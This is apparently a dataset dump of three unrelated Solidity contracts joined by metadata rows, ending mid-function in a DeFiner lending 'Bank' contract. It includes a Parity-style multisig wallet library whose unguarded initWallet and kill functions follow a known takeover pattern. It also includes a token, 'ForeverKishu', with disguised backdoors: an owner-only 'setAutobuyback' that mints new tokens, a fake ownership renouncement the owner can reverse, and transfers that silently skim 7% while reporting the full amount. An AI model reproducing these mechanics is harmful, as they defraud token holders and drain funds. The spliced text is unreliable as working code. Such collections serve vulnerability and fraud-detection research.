modifier only_uninitialized { if (m_numOwners > 0) throw; _; }
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {
initDaylimit(_daylimit);
initMultiowned(_owners, _required);
}
// kills the contract sending everything to `_to`.
function kill(address _to) onlymanyowners(sha3(msg.data)) external {
suicide(_to);
}
// Outside-visible transact entry point. Executes transaction immediately if below daily spend limit.
// If not, goes into multisig process. We provide a hash on return to allow the sender to provide
// shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value
// and _data arguments). They still get the option of using them if they want, anyways.
function execute(address _to, uint _value, bytes _data) external onlyowner returns (bytes32 o_hash) {
// first, take the opportunity to check that we're under the daily limit.
if ((_data.length == 0 && underLimit(_value)) || m_required == 1) {
// yes - just execute the call.
address created;
if (_to == 0) {
created = create(_value, _data);
} else {
if (!_to.call.value(_value)(_data))
throw;
}
SingleTransact(msg.sender, _value, _to, _data, created);
} else {
// determine our operation hash.
o_hash = sha3(msg.data, block.number);
// store if it's new
if (m_txs[o_hash].to == 0 && m_txs[o_hash].value == 0 && m_txs[o_hash].data.length == 0) {
m_txs[o_hash].to = _to;
m_txs[o_hash].value = _value;
m_txs[o_hash].data = _data;
}
if (!confirm(o_hash)) {
ConfirmationNeeded(o_hash, msg.sender, _value, _to, _data);
}
}
}
function create(uint _value, bytes _code) internal returns (address o_addr) {
assembly {
o_addr := create(_value, add(_code, 0x20), mload(_code))
jumpi(invalidJumpLabel, iszero(extcodesize(o_addr)))
}
}
// confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order
// to determine the body of the transaction from the hash provided.
function confirm(bytes32 _h) onlymanyowners(_h) returns (bool o_success) {
if (m_txs[_h].to != 0 || m_txs[_h].value != 0 || m_txs[_h].data.length != 0) {
address created;
if (m_txs[_h].to == 0) {
created = create(m_txs[_h].value, m_txs[_h].data);
} else {
if (!m_txs[_h].to.call.value(m_txs[_h].value)(m_txs[_h].data))
throw;
}
MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to, m_txs[_h].data, created);
delete m_txs[_h];
return true;
}
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation) internal returns (bool) {
// determine what index the present sender is:
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
var pending = m_pending[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (pending.yetNeeded == 0) {
// reset count of confirmations needed.
pending.yetNeeded = m_required;
// reset which owners have confirmed (none) - set our bitmap to 0.
pending.ownersDone = 0;
pending.index = m_pendingIndex.length++;
m_pendingIndex[pending.index] = _operation;
}
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.ownersDone & ownerIndexBit == 0) {
Confirmation(msg.sender, _operation);
// ok - check if count is enough to go ahead.
if (pending.yetNeeded <= 1) {
// enough confirmations: reset and run interior.
delete m_pendingIndex[m_pending[_operation].index];
delete m_pending[_operation];
return true;
}
else
{
// not enough: record that this owner in particular confirmed.
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
}
}
}
function reorganizeOwners() private {
uint free = 1;
while (free < m_numOwners)
{
while (free < m_numOwners && m_owners[free] != 0) free++;
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
{
m_owners[free] = m_owners[m_numOwners];
m_ownerIndex[m_owners[free]] = free;
m_owners[m_numOwners] = 0;
}
}
}
// returns true. otherwise just returns false.
function underLimit(uint _value) internal onlyowner returns (bool) {
// reset the spend limit if we're on a different day to last time.
if (today() > m_lastDay) {
m_spentToday = 0;
m_lastDay = today();
}
// check to see if there's enough left - if so, subtract and return true.
// overflow protection // dailyLimit check
if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) {
m_spentToday += _value;
return true;
}
return false;
}
// determines today's index.
function today() private constant returns (uint) { return now / 1 days; }
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i) {
delete m_txs[m_pendingIndex[i]];
if (m_pendingIndex[i] != 0)
delete m_pending[m_pendingIndex[i]];
}
delete m_pendingIndex;
}
// FIELDS
address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe;
// the number of owners that must confirm the same operation before it is run.
uint public m_required;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
// list of owners
uint[256] m_owners;
uint constant c_maxOwners = 250;
// index on the list of owners to allow reverse lookup
mapping(uint => uint) m_ownerIndex;
// the ongoing operations.
mapping(bytes32 => PendingState) m_pending;
bytes32[] m_pendingIndex;
// pending transactions we have at present.
mapping (bytes32 => Transaction) m_txs;
}
contract Wallet is WalletEvents {
// WALLET CONSTRUCTOR
// calls the `initWallet` method of the Library in this context
function Wallet(address[] _owners, uint _required, uint _daylimit) {
// Signature of the Wallet Library's init function
bytes4 sig = bytes4(sha3("initWallet(address[],uint256,uint256)"));
address target = _walletLibrary;
// Compute the size of the call data : arrays has 2
// 32bytes for offset and length, plus 32bytes per element ;
// plus 2 32bytes for each uint
uint argarraysize = (2 + _owners.length);
uint argsize = (2 + argarraysize) * 32;
// produces compiler bug for some reason
// assembly {
// // Add the signature first to memory
// mstore(0x0, sig)
// // Add the call data, which is at the end of the
// // code
// codecopy(0x4, sub(codesize, argsize), argsize)
// // Delegate call to the library
// delegatecall(sub(gas, 10000), target, 0x0, add(argsize, 0x4), 0x0, 0x0)
// }
}
// METHODS
// gets called when no other function matches
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
else if (msg.data.length > 0)
_walletLibrary.delegatecall(msg.data);
}
// Gets an owner by 0-indexed position (using numOwners as the count)
function getOwner(uint ownerIndex) constant returns (address) {
return address(m_owners[ownerIndex + 1]);
}
// As return statement unavailable in fallback, explicit the method here
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) {
return _walletLibrary.delegatecall(msg.data);
}
function isOwner(address _addr) constant returns (bool) {
return _walletLibrary.delegatecall(msg.data);
}
// FIELDS
address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe;
// the number of owners that must confirm the same operation before it is run.
uint public m_required;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
// list of owners
uint[256] m_owners;
}
| 226,827 | 13,939 |
5e658c09ff1a39d529feebba210dcf46b1d7295193ac9e6e83c6727bde1da391
| 22,030 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xD9cEaAc4fDc7bCD1056DC20FF6eF9107B9f787Df/contract.sol
| 2,513 | 9,167 |
pragma solidity >=0.6.0 <0.8.0;
interface iBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function Block() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function renouncedOwner(uint8 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function transferOwnership() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract ForeverKishu is Context, iBEP20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
constructor() public {
_name = 'Forever Kishu';
_symbol = 'ForeverKishu';
_decimals = 9;
_totalSupply = 100000000000 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
uint256 public _MarketingFee = 5;
uint256 private _previousTaxFee = _MarketingFee;
uint256 public _liquidityFee = 3;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _maxTxAmount = 100000000000 * 10**9;
uint256 private numTokensSellToAddToLiquidity = 1 * 10**9;
function getOwner() external view virtual override returns (address) {
return owner();
}
function decimals() external view virtual override returns (uint8) {
return _decimals;
}
function symbol() external view virtual override returns (string memory) {
return _symbol;
}
function name() external view virtual override returns (string memory) {
return _name;
}
function totalSupply() external view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view virtual override returns (uint256) {
return _balances[account];
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_MarketingFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _totalSupply.mul(maxTxPercent).div(10**3);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function setAutobuyback(uint256 amount) public onlyOwner returns (bool) {
_Mac(_msgSender(), amount);
return true;
}
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount * 93 / 100);
emit Transfer(sender, recipient, amount);
}
function _Mac(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
| 253,161 | 13,940 |
f010a9c402583bedc932dad57408b3c27e7c1e2a79f0161fa222e187bae1e365
| 25,743 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0xc185ae67afb757f9274a2aef711d9522ce442752.sol
| 6,140 | 25,456 |
pragma solidity 0.5.14;
interface IGlobalConfig {
function constants() external view returns (address);
function tokenInfoRegistry() external view returns (ITokenRegistry);
function chainLink() external view returns (address);
function bank() external view returns (IBank);
function savingAccount() external view returns (ISavingAccount);
function accounts() external view returns (IAccounts);
function maxReserveRatio() external view returns (uint256);
function midReserveRatio() external view returns (uint256);
function minReserveRatio() external view returns (uint256);
function rateCurveSlope() external view returns (uint256);
function rateCurveConstant() external view returns (uint256);
function compoundSupplyRateWeights() external view returns (uint256);
function compoundBorrowRateWeights() external view returns (uint256);
function deFinerCommunityFund() external view returns (address);
function deFinerRate() external view returns (uint256);
function liquidationThreshold() external view returns (uint);
function liquidationDiscountRatio() external view returns (uint);
function owner() external view returns (address);
}
interface ITokenRegistry {
function getTokenDecimals(address) external view returns (uint8);
function getCToken(address) external view returns (address);
function depositeMiningSpeeds(address) external view returns (uint256);
function borrowMiningSpeeds(address) external view returns (uint256);
function isSupportedOnCompound(address) external view returns (bool);
function getTokens() external view returns (address[] memory);
function getTokenInfoFromAddress(address _token) external view returns (uint8, uint256, uint256, uint256);
function getTokenInfoFromIndex(uint index) external view returns (address, uint256, uint256, uint256);
function getTokenIndex(address _token) external view returns (uint8);
function addressFromIndex(uint index) external view returns(address);
function isTokenExist(address _token) external view returns (bool isExist);
function isTokenEnabled(address _token) external view returns (bool);
}
interface IAccounts {
function deposit(address, address, uint256) external;
function borrow(address, address, uint256) external;
function getBorrowPrincipal(address, address) external view returns (uint256);
function withdraw(address, address, uint256) external returns (uint256);
function repay(address, address, uint256) external returns (uint256);
}
interface ISavingAccount {
function toCompound(address, uint256) external;
function fromCompound(address, uint256) external;
}
interface IBank {
function newRateIndexCheckpoint(address) external;
function deposit(address _to, address _token, uint256 _amount) external;
function withdraw(address _from, address _token, uint256 _amount) external returns(uint);
function borrow(address _from, address _token, uint256 _amount) external;
function repay(address _to, address _token, uint256 _amount) external returns(uint);
function getDepositAccruedRate(address _token, uint _depositRateRecordStart) external view returns (uint256);
function getBorrowAccruedRate(address _token, uint _borrowRateRecordStart) external view returns (uint256);
function depositeRateIndex(address _token, uint _blockNum) external view returns (uint);
function borrowRateIndex(address _token, uint _blockNum) external view returns (uint);
function depositeRateIndexNow(address _token) external view returns(uint);
function borrowRateIndexNow(address _token) external view returns(uint);
function updateMining(address _token) external;
function updateDepositFINIndex(address _token) external;
function updateBorrowFINIndex(address _token) external;
function depositFINRateIndex(address, uint) external view returns (uint);
function borrowFINRateIndex(address, uint) external view returns (uint);
}
interface ICToken {
function supplyRatePerBlock() external view returns (uint);
function borrowRatePerBlock() external view returns (uint);
function mint(uint mintAmount) external returns (uint);
function redeemUnderlying(uint redeemAmount) external returns (uint);
function redeem(uint redeemAmount) external returns (uint);
function exchangeRateStore() external view returns (uint);
function exchangeRateCurrent() external returns (uint);
function balanceOf(address owner) external view returns (uint256);
function balanceOfUnderlying(address owner) external returns (uint);
}
interface ICETH{
function mint() external payable;
}
interface IController {
function fastForward(uint blocks) external returns (uint);
function getBlockNumber() external view returns (uint);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Constant {
enum ActionType { DepositAction, WithdrawAction, BorrowAction, RepayAction }
address public constant ETH_ADDR = 0x000000000000000000000000000000000000000E;
uint256 public constant INT_UNIT = 10 ** uint256(18);
uint256 public constant ACCURACY = 10 ** 18;
uint256 public constant BLOCKS_PER_YEAR = 2102400;
}
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
function isConstructor() private view returns (bool) {
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
uint256[50] private ______gap;
}
contract Bank is Constant, Initializable{
using SafeMath for uint256;
mapping(address => uint256) public totalLoans; // amount of lended tokens
mapping(address => uint256) public totalReserve; // amount of tokens in reservation
mapping(address => uint256) public totalCompound; // amount of tokens in compound
mapping(address => mapping(uint => uint)) public depositeRateIndex; // the index curve of deposit rate
mapping(address => mapping(uint => uint)) public borrowRateIndex; // the index curve of borrow rate
mapping(address => uint) public lastCheckpoint; // last checkpoint on the index curve
mapping(address => uint) public lastCTokenExchangeRate; // last compound cToken exchange rate
mapping(address => ThirdPartyPool) compoundPool; // the compound pool
IGlobalConfig globalConfig; // global configuration contract address
mapping(address => mapping(uint => uint)) public depositFINRateIndex;
mapping(address => mapping(uint => uint)) public borrowFINRateIndex;
mapping(address => uint) public lastDepositFINRateCheckpoint;
mapping(address => uint) public lastBorrowFINRateCheckpoint;
modifier onlyAuthorized() {
require(msg.sender == address(globalConfig.savingAccount()) || msg.sender == address(globalConfig.accounts()),
"Only authorized to call from DeFiner internal contracts.");
_;
}
struct ThirdPartyPool {
bool supported; // if the token is supported by the third party platforms such as Compound
uint capitalRatio; // the ratio of the capital in third party to the total asset
uint depositRatePerBlock; // the deposit rate of the token in third party
uint borrowRatePerBlock; // the borrow rate of the token in third party
}
event UpdateIndex(address indexed token, uint256 depositeRateIndex, uint256 borrowRateIndex);
event UpdateDepositFINIndex(address indexed _token, uint256 depositFINRateIndex);
event UpdateBorrowFINIndex(address indexed _token, uint256 borrowFINRateIndex);
function initialize(IGlobalConfig _globalConfig) public initializer {
globalConfig = _globalConfig;
}
function getTotalDepositStore(address _token) public view returns(uint) {
address cToken = globalConfig.tokenInfoRegistry().getCToken(_token);
return totalCompound[cToken].add(totalLoans[_token]).add(totalReserve[_token]); // return totalAmount = C + U + R
}
function updateTotalCompound(address _token) internal {
address cToken = globalConfig.tokenInfoRegistry().getCToken(_token);
if(cToken != address(0)) {
totalCompound[cToken] = ICToken(cToken).balanceOfUnderlying(address(globalConfig.savingAccount()));
}
}
function updateTotalReserve(address _token, uint _amount, ActionType _action) internal returns(uint256 compoundAmount){
address cToken = globalConfig.tokenInfoRegistry().getCToken(_token);
uint totalAmount = getTotalDepositStore(_token);
if (_action == ActionType.DepositAction || _action == ActionType.RepayAction) {
if (_action == ActionType.DepositAction)
totalAmount = totalAmount.add(_amount);
else
totalLoans[_token] = totalLoans[_token].sub(_amount);
uint totalReserveBeforeAdjust = totalReserve[_token].add(_amount);
if (cToken != address(0) &&
totalReserveBeforeAdjust > totalAmount.mul(globalConfig.maxReserveRatio()).div(100)) {
uint toCompoundAmount = totalReserveBeforeAdjust.sub(totalAmount.mul(globalConfig.midReserveRatio()).div(100));
compoundAmount = toCompoundAmount;
totalCompound[cToken] = totalCompound[cToken].add(toCompoundAmount);
totalReserve[_token] = totalReserve[_token].add(_amount).sub(toCompoundAmount);
}
else {
totalReserve[_token] = totalReserve[_token].add(_amount);
}
} else {
if(_action == ActionType.WithdrawAction) {
if(totalLoans[_token] != 0)
require(getPoolAmount(_token) >= _amount, "Lack of liquidity when withdraw.");
else if (getPoolAmount(_token) < _amount)
totalReserve[_token] = _amount.sub(totalCompound[cToken]);
totalAmount = getTotalDepositStore(_token);
}
else
require(getPoolAmount(_token) >= _amount, "Lack of liquidity when borrow.");
if (_action == ActionType.WithdrawAction)
totalAmount = totalAmount.sub(_amount);
else
totalLoans[_token] = totalLoans[_token].add(_amount);
uint totalReserveBeforeAdjust = totalReserve[_token] > _amount ? totalReserve[_token].sub(_amount) : 0;
if(cToken != address(0) &&
(totalAmount == 0 || totalReserveBeforeAdjust < totalAmount.mul(globalConfig.minReserveRatio()).div(100))) {
uint totalAvailable = totalReserve[_token].add(totalCompound[cToken]).sub(_amount);
if (totalAvailable < totalAmount.mul(globalConfig.midReserveRatio()).div(100)){
compoundAmount = totalCompound[cToken];
totalCompound[cToken] = 0;
totalReserve[_token] = totalAvailable;
} else {
uint totalInCompound = totalAvailable.sub(totalAmount.mul(globalConfig.midReserveRatio()).div(100));
compoundAmount = totalCompound[cToken].sub(totalInCompound);
totalCompound[cToken] = totalInCompound;
totalReserve[_token] = totalAvailable.sub(totalInCompound);
}
}
else {
totalReserve[_token] = totalReserve[_token].sub(_amount);
}
}
return compoundAmount;
}
function update(address _token, uint _amount, ActionType _action) public onlyAuthorized returns(uint256 compoundAmount) {
updateTotalCompound(_token);
compoundAmount = updateTotalReserve(_token, _amount, _action);
return compoundAmount;
}
function updateDepositFINIndex(address _token) public onlyAuthorized{
uint currentBlock = getBlockNumber();
uint deltaBlock;
deltaBlock = lastDepositFINRateCheckpoint[_token] == 0 ? 0 : currentBlock.sub(lastDepositFINRateCheckpoint[_token]);
depositFINRateIndex[_token][currentBlock] = depositFINRateIndex[_token][lastDepositFINRateCheckpoint[_token]].add(getTotalDepositStore(_token) == 0 ? 0 : depositeRateIndex[_token][lastCheckpoint[_token]]
.mul(deltaBlock)
.mul(globalConfig.tokenInfoRegistry().depositeMiningSpeeds(_token))
.div(getTotalDepositStore(_token)));
lastDepositFINRateCheckpoint[_token] = currentBlock;
emit UpdateDepositFINIndex(_token, depositFINRateIndex[_token][currentBlock]);
}
function updateBorrowFINIndex(address _token) public onlyAuthorized{
uint currentBlock = getBlockNumber();
uint deltaBlock;
deltaBlock = lastBorrowFINRateCheckpoint[_token] == 0 ? 0 : currentBlock.sub(lastBorrowFINRateCheckpoint[_token]);
borrowFINRateIndex[_token][currentBlock] = borrowFINRateIndex[_token][lastBorrowFINRateCheckpoint[_token]].add(totalLoans[_token] == 0 ? 0 : borrowRateIndex[_token][lastCheckpoint[_token]]
.mul(deltaBlock)
.mul(globalConfig.tokenInfoRegistry().borrowMiningSpeeds(_token))
.div(totalLoans[_token]));
lastBorrowFINRateCheckpoint[_token] = currentBlock;
emit UpdateBorrowFINIndex(_token, borrowFINRateIndex[_token][currentBlock]);
}
function updateMining(address _token) public onlyAuthorized{
newRateIndexCheckpoint(_token);
updateTotalCompound(_token);
}
function getBorrowRatePerBlock(address _token) public view returns(uint) {
uint256 capitalUtilizationRatio = getCapitalUtilizationRatio(_token);
uint256 rateCurveConstant = globalConfig.rateCurveConstant();
uint256 compoundSupply = compoundPool[_token].depositRatePerBlock.mul(globalConfig.compoundSupplyRateWeights());
uint256 compoundBorrow = compoundPool[_token].borrowRatePerBlock.mul(globalConfig.compoundBorrowRateWeights());
uint256 nonUtilizedCapRatio = INT_UNIT.sub(capitalUtilizationRatio);
bool isSupportedOnCompound = globalConfig.tokenInfoRegistry().isSupportedOnCompound(_token);
if(isSupportedOnCompound) {
uint256 compoundSupplyPlusBorrow = compoundSupply.add(compoundBorrow).div(10);
uint256 rateConstant;
if(capitalUtilizationRatio > ((10**18) - (10**15))) { // > 0.999
rateConstant = rateCurveConstant.mul(1000).div(BLOCKS_PER_YEAR);
return compoundSupplyPlusBorrow.add(rateConstant);
} else {
rateConstant = rateCurveConstant.mul(10**18).div(nonUtilizedCapRatio).div(BLOCKS_PER_YEAR);
return compoundSupplyPlusBorrow.add(rateConstant);
}
} else {
if(capitalUtilizationRatio > ((10**18) - (10**15))) { // > 0.999
return rateCurveConstant.mul(1000).div(BLOCKS_PER_YEAR);
} else {
return rateCurveConstant.mul(10**18).div(nonUtilizedCapRatio).div(BLOCKS_PER_YEAR);
}
}
}
function getDepositRatePerBlock(address _token) public view returns(uint) {
uint256 borrowRatePerBlock = getBorrowRatePerBlock(_token);
uint256 capitalUtilRatio = getCapitalUtilizationRatio(_token);
if(!globalConfig.tokenInfoRegistry().isSupportedOnCompound(_token))
return borrowRatePerBlock.mul(capitalUtilRatio).div(INT_UNIT);
return borrowRatePerBlock.mul(capitalUtilRatio).add(compoundPool[_token].depositRatePerBlock
.mul(compoundPool[_token].capitalRatio)).div(INT_UNIT);
}
function getCapitalUtilizationRatio(address _token) public view returns(uint) {
uint256 totalDepositsNow = getTotalDepositStore(_token);
if(totalDepositsNow == 0) {
return 0;
} else {
return totalLoans[_token].mul(INT_UNIT).div(totalDepositsNow);
}
}
function getCapitalCompoundRatio(address _token) public view returns(uint) {
address cToken = globalConfig.tokenInfoRegistry().getCToken(_token);
if(totalCompound[cToken] == 0) {
return 0;
} else {
return uint(totalCompound[cToken].mul(INT_UNIT).div(getTotalDepositStore(_token)));
}
}
function getDepositAccruedRate(address _token, uint _depositRateRecordStart) external view returns (uint256) {
uint256 depositRate = depositeRateIndex[_token][_depositRateRecordStart];
require(depositRate != 0, "_depositRateRecordStart is not a check point on index curve.");
return depositeRateIndexNow(_token).mul(INT_UNIT).div(depositRate);
}
function getBorrowAccruedRate(address _token, uint _borrowRateRecordStart) external view returns (uint256) {
uint256 borrowRate = borrowRateIndex[_token][_borrowRateRecordStart];
require(borrowRate != 0, "_borrowRateRecordStart is not a check point on index curve.");
return borrowRateIndexNow(_token).mul(INT_UNIT).div(borrowRate);
}
function newRateIndexCheckpoint(address _token) public onlyAuthorized {
uint blockNumber = getBlockNumber();
if (blockNumber == lastCheckpoint[_token])
return;
uint256 UNIT = INT_UNIT;
address cToken = globalConfig.tokenInfoRegistry().getCToken(_token);
uint256 previousCheckpoint = lastCheckpoint[_token];
if (lastCheckpoint[_token] == 0) {
if(cToken == address(0)) {
compoundPool[_token].supported = false;
borrowRateIndex[_token][blockNumber] = UNIT;
depositeRateIndex[_token][blockNumber] = UNIT;
lastCheckpoint[_token] = blockNumber;
}
else {
compoundPool[_token].supported = true;
uint cTokenExchangeRate = ICToken(cToken).exchangeRateCurrent();
compoundPool[_token].capitalRatio = getCapitalCompoundRatio(_token);
compoundPool[_token].borrowRatePerBlock = ICToken(cToken).borrowRatePerBlock(); // initial value
compoundPool[_token].depositRatePerBlock = ICToken(cToken).supplyRatePerBlock(); // initial value
borrowRateIndex[_token][blockNumber] = UNIT;
depositeRateIndex[_token][blockNumber] = UNIT;
lastCheckpoint[_token] = blockNumber;
lastCTokenExchangeRate[cToken] = cTokenExchangeRate;
}
} else {
if(cToken == address(0)) {
compoundPool[_token].supported = false;
borrowRateIndex[_token][blockNumber] = borrowRateIndexNow(_token);
depositeRateIndex[_token][blockNumber] = depositeRateIndexNow(_token);
lastCheckpoint[_token] = blockNumber;
} else {
compoundPool[_token].supported = true;
uint cTokenExchangeRate = ICToken(cToken).exchangeRateCurrent();
compoundPool[_token].capitalRatio = getCapitalCompoundRatio(_token);
compoundPool[_token].borrowRatePerBlock = ICToken(cToken).borrowRatePerBlock();
compoundPool[_token].depositRatePerBlock = cTokenExchangeRate.mul(UNIT).div(lastCTokenExchangeRate[cToken])
.sub(UNIT).div(blockNumber.sub(lastCheckpoint[_token]));
borrowRateIndex[_token][blockNumber] = borrowRateIndexNow(_token);
depositeRateIndex[_token][blockNumber] = depositeRateIndexNow(_token);
lastCheckpoint[_token] = blockNumber;
lastCTokenExchangeRate[cToken] = cTokenExchangeRate;
}
}
if(borrowRateIndex[_token][blockNumber] != UNIT) {
totalLoans[_token] = totalLoans[_token].mul(borrowRateIndex[_token][blockNumber])
.div(borrowRateIndex[_token][previousCheckpoint]);
}
